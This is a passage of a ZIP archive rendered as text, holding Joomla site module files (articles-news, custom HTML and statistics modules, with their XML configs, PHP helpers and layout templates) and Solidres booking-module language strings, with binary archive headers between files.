					<option value="1">JSHOW</option>
				</field>

				<field
					name="link_titles"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_LINKTITLE_LABEL"
					default=""
					filter="integer"
					class="form-select-color"
					showon="item_title:1"
					validate="options"
					>
					<option value="">JGLOBAL_USE_GLOBAL</option>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="item_heading"
					type="list"
					label="MOD_ARTICLES_NEWS_TITLE_HEADING"
					default="h4"
					showon="item_title:1"
					validate="options"
					>
					<option value="h1">JH1</option>
					<option value="h2">JH2</option>
					<option value="h3">JH3</option>
					<option value="h4">JH4</option>
					<option value="h5">JH5</option>
				</field>

				<field
					name="triggerevents"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_TRIGGEREVENTS_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="showLastSeparator"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_NEWS_FIELD_SEPARATOR_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="show_introtext"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_NEWS_FIELD_SHOWINTROTEXT_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="readmore"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_ARTICLES_NEWS_FIELD_READMORE_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_NEWS_FIELD_ITEMS_LABEL"
					default="5"
					filter="integer"
				/>

				<field
					name="show_featured"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_FEATURED_LABEL"
					default=""
					filter="integer"
					validate="options"
					>
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">MOD_ARTICLES_NEWS_VALUE_ONLY_SHOW_FEATURED</option>
				</field>

				<field
					name="exclude_current"
					type="radio"
					label="MOD_ARTICLES_NEWS_FIELD_EXCLUDE_CURRENT_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_ARTICLES_NEWS_FIELD_ORDERING_LABEL"
					default="a.publish_up"
					validate="options"
					>
					<option value="a.publish_up">MOD_ARTICLES_NEWS_FIELD_ORDERING_PUBLISHED_DATE</option>
					<option value="a.created">MOD_ARTICLES_NEWS_FIELD_ORDERING_CREATED_DATE</option>
					<option value="a.modified">MOD_ARTICLES_NEWS_FIELD_ORDERING_MODIFIED_DATE</option>
					<option value="a.ordering">MOD_ARTICLES_NEWS_FIELD_ORDERING_ORDERING</option>
					<option value="a.hits">JGLOBAL_HITS</option>
					<option value="rand()">MOD_ARTICLES_NEWS_FIELD_ORDERING_RANDOM</option>
				</field>

				<field
					name="direction"
					type="list"
					label="JGLOBAL_ORDER_DIRECTION_LABEL"
					default="1"
					filter="integer"
					showon="ordering:a.publish_up,a.created,a.modified,a.ordering,a.hits"
					validate="options"
					>
					<option value="0">JGLOBAL_ORDER_ASCENDING</option>
					<option value="1">JGLOBAL_ORDER_DESCENDING</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="itemid"
					>
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�M@���'mod_articles_news/mod_articles_news.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\ArticlesNews\Site\Helper\ArticlesNewsHelper;

$list = ArticlesNewsHelper::getList($params);

require ModuleHelper::getLayoutPath('mod_articles_news', $params->get('layout', 'horizontal'));
PK!�l�)!!mod_articles_news/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

/**
 * Helper for mod_articles_news
 *
 * @since  1.6
 */
abstract class ModArticlesNewsHelper
{
	/**
	 * Get a list of the latest articles from the article model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since 1.6
	 */
	public static function getList(&$params)
	{
		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Filer by tag
		$model->setState('filter.tag', $params->get('tag', array()));

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$ordering = $params->get('ordering', 'a.publish_up');
		$model->setState('list.ordering', $ordering);

		if (trim($ordering) === 'rand()')
		{
			$model->setState('list.ordering', JFactory::getDbo()->getQuery(true)->Rand());
		}
		else
		{
			$direction = $params->get('direction', 1) ? 'DESC' : 'ASC';
			$model->setState('list.direction', $direction);
			$model->setState('list.ordering', $ordering);
		}

		// Check if we should trigger additional plugin events
		$triggerEvents = $params->get('triggerevents', 1);

		// Retrieve Content
		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->readmore = strlen(trim($item->fulltext));
			$item->slug     = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug  = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link     = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
				$item->linkText = JText::_('MOD_ARTICLES_NEWS_READMORE');
			}
			else
			{
				$item->link = new JUri(JRoute::_('index.php?option=com_users&view=login', false));
				$item->link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)));
				$item->linkText = JText::_('MOD_ARTICLES_NEWS_READMORE_REGISTER');
			}

			$item->introtext = JHtml::_('content.prepare', $item->introtext, '', 'mod_articles_news.content');

			// Remove any images belongs to the text
			if (!$params->get('image'))
			{
				$item->introtext = preg_replace('/<img[^>]*>/', '', $item->introtext);
			}

			// Show the Intro/Full image field of the article
			if ($params->get('img_intro_full') !== 'none')
			{
				$images = json_decode($item->images);
				$item->imageSrc = '';
				$item->imageAlt = '';
				$item->imageCaption = '';

				if ($params->get('img_intro_full') === 'intro' && !empty($images->image_intro))
				{
					$item->imageSrc = htmlspecialchars($images->image_intro, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_intro_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption) 
					{
						$item->imageCaption = htmlspecialchars($images->image_intro_caption, ENT_COMPAT, 'UTF-8');
					}
				}
				elseif ($params->get('img_intro_full') === 'full' && !empty($images->image_fulltext))
				{
					$item->imageSrc = htmlspecialchars($images->image_fulltext, ENT_COMPAT, 'UTF-8');
					$item->imageAlt = htmlspecialchars($images->image_fulltext_alt, ENT_COMPAT, 'UTF-8');

					if ($images->image_intro_caption) 
					{
						$item->imageCaption = htmlspecialchars($images->image_fulltext_caption, ENT_COMPAT, 'UTF-8');
					}
				}
			}

			if ($triggerEvents)
			{
				$item->text = '';
				$app->triggerEvent('onContentPrepare', array ('com_content.article', &$item, &$params, 0));

				$results                 = $app->triggerEvent('onContentAfterTitle', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayTitle = trim(implode("\n", $results));

				$results                    = $app->triggerEvent('onContentBeforeDisplay', array('com_content.article', &$item, &$params, 0));
				$item->beforeDisplayContent = trim(implode("\n", $results));

				$results                   = $app->triggerEvent('onContentAfterDisplay', array('com_content.article', &$item, &$params, 0));
				$item->afterDisplayContent = trim(implode("\n", $results));
			}
			else
			{
				$item->afterDisplayTitle    = '';
				$item->beforeDisplayContent = '';
				$item->afterDisplayContent  = '';
			}
		}

		return $items;
	}
}
PK!���QQ mod_articles_news/tmpl/_item.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;
?>
<?php if ($params->get('item_title')) : ?>

	<?php $item_heading = $params->get('item_heading', 'h4'); ?>
	<<?php echo $item_heading; ?> class="newsflash-title">
	<?php if ($item->link !== '' && $params->get('link_titles')) : ?>
		<a href="<?php echo $item->link; ?>">
			<?php echo $item->title; ?>
		</a>
	<?php else : ?>
		<?php echo $item->title; ?>
	<?php endif; ?>
	</<?php echo $item_heading; ?>>
<?php endif; ?>

<?php if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) : ?>
	<figure class="newsflash-image">
		<img src="<?php echo $item->imageSrc; ?>" alt="<?php echo $item->imageAlt; ?>">
		<?php if (!empty($item->imageCaption)) : ?>
			<figcaption>
				<?php echo $item->imageCaption; ?>
			</figcaption>
		<?php endif; ?>
	</figure>
<?php endif; ?>

<?php if (!$params->get('intro_only')) : ?>
	<?php echo $item->afterDisplayTitle; ?>
<?php endif; ?>

<?php echo $item->beforeDisplayContent; ?>

<?php if ($params->get('show_introtext', 1)) : ?>
	<?php echo $item->introtext; ?>
<?php endif; ?>

<?php echo $item->afterDisplayContent; ?>

<?php if (isset($item->link) && $item->readmore != 0 && $params->get('readmore')) : ?>
	<?php echo LayoutHelper::render('joomla.content.readmore', array('item' => $item, 'params' => $item->params, 'link' => $item->link)); ?>
<?php endif; ?>
PK!Vy�%mod_articles_news/tmpl/horizontal.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('mod_modules', 'mod_articles_news/template.css');

if (empty($list))
{
	return;
}

?>
<ul class="mod-articlesnews-horizontal newsflash-horiz mod-list">
	<?php foreach ($list as $item) : ?>
		<li itemscope itemtype="https://schema.org/Article">
			<?php require ModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>
		</li>
	<?php endforeach; ?>
</ul>
PK!�����#mod_articles_news/tmpl/vertical.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $app->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('mod_modules', 'mod_articles_news/template-vert.css');

if (!$list)
{
	return;
}

?>
<ul class="mod-articlesnews-vertical newsflash-vert mod-list">
	<?php for ($i = 0, $n = count($list); $i < $n; $i ++) : ?>
		<?php $item = $list[$i]; ?>
		<li class="newsflash-item" itemscope itemtype="https://schema.org/Article">
			<?php require ModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>

			<?php if ($n > 1 && (($i < $n - 1) || $params->get('showLastSeparator'))) : ?>
				<span class="article-separator">&#160;</span>
			<?php endif; ?>
		</li>
	<?php endfor; ?>
</ul>
PK!�}�bb"mod_articles_news/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_news
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;

if (!$list)
{
	return;
}

?>
<div class="mod-articlesnews newsflash">
	<?php foreach ($list as $item) : ?>
		<div class="mod-articlesnews__item" itemscope itemtype="https://schema.org/Article">
			<?php require ModuleHelper::getLayoutPath('mod_articles_news', '_item'); ?>
		</div>
	<?php endforeach; ?>
</div>
PK!9��BBmod_custom/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_custom
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Uri\Uri;

$modId = 'mod-custom' . $module->id;

if ($params->get('backgroundimage'))
{
	/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
	$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
	$wa->addInlineStyle('
#' . $modId . '{background-image: url("' . Uri::root(true) . '/' . HTMLHelper::_('cleanImageURL', $params->get('backgroundimage'))->url . '");}
', ['name' => $modId]);
}

?>

<div id="<?php echo $modId; ?>" class="mod-custom custom">
	<?php echo $module->content; ?>
</div>
PK!:zuumod_custom/mod_custom.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_custom
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;

if ($params->def('prepare_content', 1))
{
	PluginHelper::importPlugin('content');
	$module->content = HTMLHelper::_('content.prepare', $module->content, '', 'mod_custom.content');
}

require ModuleHelper::getLayoutPath('mod_custom', $params->get('layout', 'default'));
PK!��|b	b	mod_custom/mod_custom.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_custom</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_CUSTOM_XML_DESCRIPTION</description>

	<customContent />

	<files>
		<filename module="mod_custom">mod_custom.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_custom.ini</language>
		<language tag="en-GB">language/en-GB/mod_custom.sys.ini</language>
	</languages>

	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_CUSTOM_HTML" />
	<config>
		<fields name="params">
			<fieldset name="options" label="COM_MODULES_BASIC_FIELDSET_LABEL">
				<field
					name="prepare_content"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL"
					description="MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>

				<field
					name="backgroundimage"
					type="media"
					label="MOD_CUSTOM_FIELD_BACKGROUNDIMAGE_LABEL"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��mod_stats/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="mod-stats list-group">
<?php foreach ($list as $item) : ?>
	<li class="list-group-item">
		<?php echo $item->title; ?>
		<span class="badge bg-secondary float-end rounded-pill"><?php echo $item->data; ?></span>
	</li>
<?php endforeach; ?>
</ul>
PK!�ys�//mod_stats/mod_stats.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Stats\Site\Helper\StatsHelper;

$serverinfo = $params->get('serverinfo', 0);
$siteinfo   = $params->get('siteinfo', 0);
$list       = StatsHelper::getList($params);

require ModuleHelper::getLayoutPath('mod_stats', $params->get('layout', 'default'));
PK!���Xoomod_stats/mod_stats.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_stats</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_STATS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Stats</namespace>
	<files>
		<filename module="mod_stats">mod_stats.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_stats.ini</language>
		<language tag="en-GB">language/en-GB/mod_stats.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="serverinfo"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_STATS_FIELD_SERVERINFO_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="siteinfo"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_STATS_FIELD_SITEINFO_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="counter"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_STATS_FIELD_COUNTER_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="increase"
					type="number"
					label="MOD_STATS_FIELD_INCREASECOUNTER_LABEL"
					default="0"
					filter="integer"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��Wmod_stats/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_stats
 *
 * @since  1.5
 */
class ModStatsHelper
{
	/**
	 * Get list of stats
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function &getList(&$params)
	{
		$app        = JFactory::getApplication();
		$db         = JFactory::getDbo();
		$rows       = array();
		$query      = $db->getQuery(true);
		$serverinfo = $params->get('serverinfo', 0);
		$siteinfo   = $params->get('siteinfo', 0);
		$counter    = $params->get('counter', 0);
		$increase   = $params->get('increase', 0);

		$i = 0;

		if ($serverinfo)
		{
			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_OS');
			$rows[$i]->data  = substr(php_uname(), 0, 7);
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_PHP');
			$rows[$i]->data  = phpversion();
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_($db->name);
			$rows[$i]->data  = $db->getVersion();
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_TIME');
			$rows[$i]->data  = JHtml::_('date', 'now', 'H:i');
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_CACHING');
			$rows[$i]->data  = $app->get('caching') ? JText::_('JENABLED') : JText::_('JDISABLED');
			$i++;

			$rows[$i] = new stdClass;
			$rows[$i]->title = JText::_('MOD_STATS_GZIP');
			$rows[$i]->data  = $app->get('gzip') ? JText::_('JENABLED') : JText::_('JDISABLED');
			$i++;
		}

		if ($siteinfo)
		{
			$query->select('COUNT(id) AS count_users')
				->from('#__users');
			$db->setQuery($query);

			try
			{
				$users = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$users = false;
			}

			$query->clear()
				->select('COUNT(id) AS count_items')
				->from('#__content')
				->where('state = 1');
			$db->setQuery($query);

			try
			{
				$items = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$items = false;
			}

			if ($users)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_USERS');
				$rows[$i]->data  = $users;
				$i++;
			}

			if ($items)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_ARTICLES');
				$rows[$i]->data  = $items;
				$i++;
			}
		}

		if ($counter)
		{
			$query->clear()
				->select('SUM(hits) AS count_hits')
				->from('#__content')
				->where('state = 1');
			$db->setQuery($query);

			try
			{
				$hits = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$hits = false;
			}

			if ($hits)
			{
				$rows[$i] = new stdClass;
				$rows[$i]->title = JText::_('MOD_STATS_ARTICLES_VIEW_HITS');
				$rows[$i]->data  = $hits + $increase;
				$i++;
			}
		}

		// Include additional data defined by published system plugins
		JPluginHelper::importPlugin('system');

		$arrays = (array) $app->triggerEvent('onGetStats', array('mod_stats'));

		foreach ($arrays as $response)
		{
			foreach ($response as $row)
			{
				// We only add a row if the title and data are given
				if (isset($row['title']) && isset($row['data']))
				{
					$rows[$i]        = new stdClass;
					$rows[$i]->title = $row['title'];
					$rows[$i]->icon  = isset($row['icon']) ? $row['icon'] : 'info';
					$rows[$i]->data  = $row['data'];
					$i++;
				}
			}
		}

		return $rows;
	}
}
PK!B�Jmod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.ininu&1i�MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Checar disponibilidade"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data de Chegada"
SR_SEARCH_CHECKOUT_DATE="Data de Partida"
SR_SEARCH="Verificar"
SR_RESET="Apagar"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Escolher itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Insira itemid do menu Solidres, a fim de que os resultados mostrados sejam corretos"
SR_YOUR_RESERVATION="Your reservation"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."PK!g�)�eeNmod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"PK!?w ��Nmod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.sys.ininu&1i�MOD_SR_CHECKAVAILABILITY="Solidres - Modul Verfügbarkeit Abfragen"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Modul Verfügbarkeit Abfragen"PK!Wm��
�
